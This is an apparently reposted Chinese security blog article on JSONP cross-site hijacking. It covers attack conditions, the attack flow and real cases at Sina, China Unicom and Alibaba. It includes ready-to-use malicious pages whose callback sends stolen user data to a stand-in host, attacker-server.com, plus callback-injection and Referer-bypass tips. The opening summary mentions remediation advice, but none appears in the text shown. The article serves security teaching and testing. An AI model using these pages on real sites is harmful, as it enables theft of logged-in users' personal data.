文章总结： JSONP跨站劫持漏洞是一种常见的安全漏洞，主要由于JSONP接口缺乏对请求来源的有效验证，导致攻击者可构造恶意网页窃取用户敏感数据。文章详细分析了漏洞成因、危害和测试方法，并提供了多种修复建议，包括使用CORS替代JSONP、回调函数白名单验证、使用随机化回调函数名等。通过真实案例展示了该漏洞的严重性，提醒开发者重视JSONP接口的安全防护。
综合评分： 85
文章分类： WEB安全,漏洞分析,漏洞POC,渗透测试,应急响应

【网络安全】JSONP跨站劫持漏洞

原创

利刃信安

2025年12月10日 00:01
北京

JSONP跨站劫持漏洞

| | |
| — | — |
| 漏洞名称 | JSONP跨站劫持漏洞 |
| 漏洞地址 | https://www.mem.com/ |
| 漏洞等级 | 中危 |
| 漏洞描述 | JSONP接口因缺乏对请求来源的有效验证，存在跨域数据泄露风险。攻击者可通过构造恶意网页，在其中嵌入指向该接口的获取JSON数据并且Base64编码发送到远程服务器的DNSLOG： JSONP EXP跨域测试 --- JSONP EXP跨域测试方法二：jQuery jsonp跨域请求弹窗代码（弹窗JSON数据）： JSONP EXP跨域测试获取JSON数据并且Base64编码发送到远程服务器的DNSLOG： JSONP EXP跨域测试两者同时操作： JSONP EXP跨域测试方法三：jQuery JacaScript调用弹窗代码（弹窗JSON数据）： JSONP EXP跨域测试获取JSON数据并且Base64编码发送到远程服务器的DNSLOG： JSONP EXP跨域测试两者同时操作： JSONP EXP跨域测试。 |
| 复测过程 | |
| 复测结果 | 已修复 |
| 相关性 | 不满足 |
| 严重性 | 不满足 |
| 高发型 | 不满足 |
| 重大风险隐患 | 否 |

一、JSONP跨站劫持漏洞原理与攻击流程

JSONP跨站劫持（JSONP CSRF/Hijacking）是一种结合了CSRF攻击原理和JSONP跨域特性的安全漏洞，主要用于窃取用户敏感数据。

🔍 漏洞技术基础

JSONP工作机制：

利用<script>标签的跨域能力绕过同源策略限制
服务器返回格式为callbackFunction({"user": "data"})的响应
浏览器将响应作为JavaScript代码自动执行

攻击性质：属于读取型CSRF，主要目的是窃取数据而非执行操作

⚠️ 攻击必要条件

| 条件 | 具体说明 |
| --- | --- |
| 存在敏感JSONP接口 | 目标网站提供返回用户ID、姓名、邮箱、手机号等敏感信息的JSONP接口 |
| 缺乏有效验证 | 接口未严格验证HTTP Referer头或未使用Anti-CSRF Token |
| 用户登录状态 | 受害者需在目标网站保持有效登录会话 |

⚔️ 完整攻击流程详解

阶段一：攻击准备

寻找目标接口

：通过浏览器开发者工具监控网络请求，筛选包含callback、jsonp、cb等关键词的JSONP接口
验证接口价值

：确认接口返回有价值的敏感用户信息

阶段二：构造攻击载荷

<script>
functionmaliciousCallback(data) {
// 将窃取的数据发送到攻击者服务器
var&nbsp;img =&nbsp;newImage();
&nbsp; &nbsp; img.src&nbsp;=&nbsp;' http://attacker-server.com/steal?data='&nbsp;+&nbsp;JSON.stringify(data);
}
</script>
<scriptsrc=" https://vulnerable-site.com/userInfo?callback=maliciousCallback "></script>

阶段三：实施攻击

搭建恶意网站

：创建包含上述攻击代码的恶意页面
诱导用户访问

：通过社交工程学手段诱使已登录目标网站的用户访问恶意页面
自动数据窃取

：用户浏览器自动执行JSONP请求，敏感数据传入恶意回调函数并被外传

🔄 技术流程可视化

💀 攻击技术变种与绕过手法

回调函数名注入：

若服务器未严格过滤callback参数，攻击者可注入如callback=alert(1);//的代码直接执行XSS

Referer检查绕过：

利用<iframe src="javascript:...">构造空Referer
利用正则过滤不严谨进行域名绕过

数据外传方式：

通过Image对象发起请求到攻击者控制的DNSlog
使用AJAX或表单提交将数据发送到攻击者服务器

🎯 漏洞危害范围

可窃取的敏感信息包括：

用户身份信息

：用户ID、姓名、邮箱、手机号
账户凭证

：CSRF Token、会话标识
隐私数据

：个人资料、身份验证信息

该漏洞的核心危害在于攻击者可以在用户无感知的情况下，跨域窃取其他网站上的用户隐私数据，属于高危安全风险。

二、JSONP漏洞实际案例与攻击场景可视化

💻 新浪股吧CSRF蠕虫漏洞（2015年）

漏洞背景：新浪股吧的发帖功能依赖动态生成的_csrf_token进行CSRF防护，但这个令牌可通过一个JSONP接口获取。

攻击过程：

攻击者发现股吧的某个JSONP接口（如http://guba.sina.com.cn/...?callback=...）会返回包含_csrf_token的JSON数据
恶意页面通过<script>标签调用该接口，并定义回调函数接收令牌
获取令牌后，脚本自动向发帖接口发送POST请求，实现自动发帖

漏洞危害：由于该JSONP接口缺乏有效的访问控制（如Referer检查），攻击者可构造恶意链接，用户点击后其账户会自动在股吧发布内容，可能形成CSRF蠕虫。

📱 联通用户信息泄露漏洞

漏洞背景：某省联通网站的查询接口（如查询手机号、流量使用详情）使用JSONP实现跨域调用，但对请求来源未作严格限制。

攻击代码示例：

<script>
functionphoneNumber(data) {
alert("你的手机号码是："&nbsp;+ data['respparam']['phoneNumber']);
}
</script>
<scriptsrc="http://联通网站接口?callback=phoneNumber"></script>

攻击效果：用户访问该恶意页面时，脚本会自动调用联通接口，接口返回如phoneNumber({"phoneNumber":"13399978910"})的数据，导致用户手机号等敏感信息泄露。

⚡ 阿里巴巴账户接管漏洞（2018年）

漏洞背景：阿里巴巴旗下多个网站通过JSONP方式从ynuf.alipay.com域加载JavaScript对象，该对象会读取uid cookie的值并执行回调函数。

组合攻击链：

攻击者首先在ynuf.alipay.com子域找到基于DOM的XSS漏洞
利用XSS漏洞篡改uid cookie的值，使其变为恶意代码
当用户访问依赖此JSONP接口的阿里巴巴网站时，恶意代码随JSONP响应执行，导致账户被接管

🔍 攻击场景可视化流程图

💀 实际攻击代码演示

基础窃取示例：

<!DOCTYPE&nbsp;html>
<html>
<head>
<metacharset="UTF-8">
<title>恶意页面</title>
</head>
<body>
<script>
functionstealData(data) {
// 将窃取的数据发送到攻击者服务器
var&nbsp;img =&nbsp;newImage();
&nbsp; &nbsp; &nbsp; &nbsp; img.src&nbsp;=&nbsp;" http://attacker-server.com/steal?data= "&nbsp;+&nbsp;JSON.stringify(data);
&nbsp; &nbsp; }
</script>

<!-- 利用script标签触发JSONP请求 -->
<scriptsrc=" http://vulnerable-site.com/userinfo?callback=stealData "></script>
</body>
</html>

高级利用技巧：

回调函数名注入

：当服务器未正确过滤时，可直接执行任意JavaScript代码
数据过滤绕过

：通过编码技术绕过简单过滤机制
结合CSRF攻击

：同时获取用户信息和执行敏感操作

📊 漏洞利用条件分析表

| 攻击要素 | 技术要求 | 现实案例体现 |
| --- | --- | --- |
| 目标站点存在JSONP接口 | 接口返回敏感数据且未验证回调函数名 | 新浪股吧的_token接口、联通用户信息接口 |
| 接口未验证Referer头 | 缺乏来源检查机制 | 上述案例均存在Referer验证缺失 |
| 用户已登录目标站点 | 浏览器自动携带认证Cookie | 所有案例均要求用户保持登录状态 |
| 恶意页面诱导访问 | 通过社交工程或水坑攻击 | 钓鱼邮件、恶意广告等传播途径 |

⚠️ 现实危害评估

这些真实案例展示了JSONP劫持漏洞的严重性：从个人隐私泄露（联通案例）到账户完全接管（阿里巴巴案例），再到大规模蠕虫传播（新浪案例）。攻击者只需构造简单的恶意页面，就能在用户不知情的情况下窃取敏感数据，凸显了JSONP接口安全防护的极端重要性。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：利刃信安利刃信安《【网络安全】JSONP跨站劫持漏洞》

Tags: WEB安全应急响应渗透测试漏洞POC 漏洞分析

你可能错过

Sorry勒索软件新变种来袭

我开源了一个 Skill：让 AI 成为画出这张图的人…

6K Star！把所有组件塞进同一个容器的 Agent 沙箱

8 核主机负载 8.7，top 却显示空闲：一次 perfctl 入侵应急复盘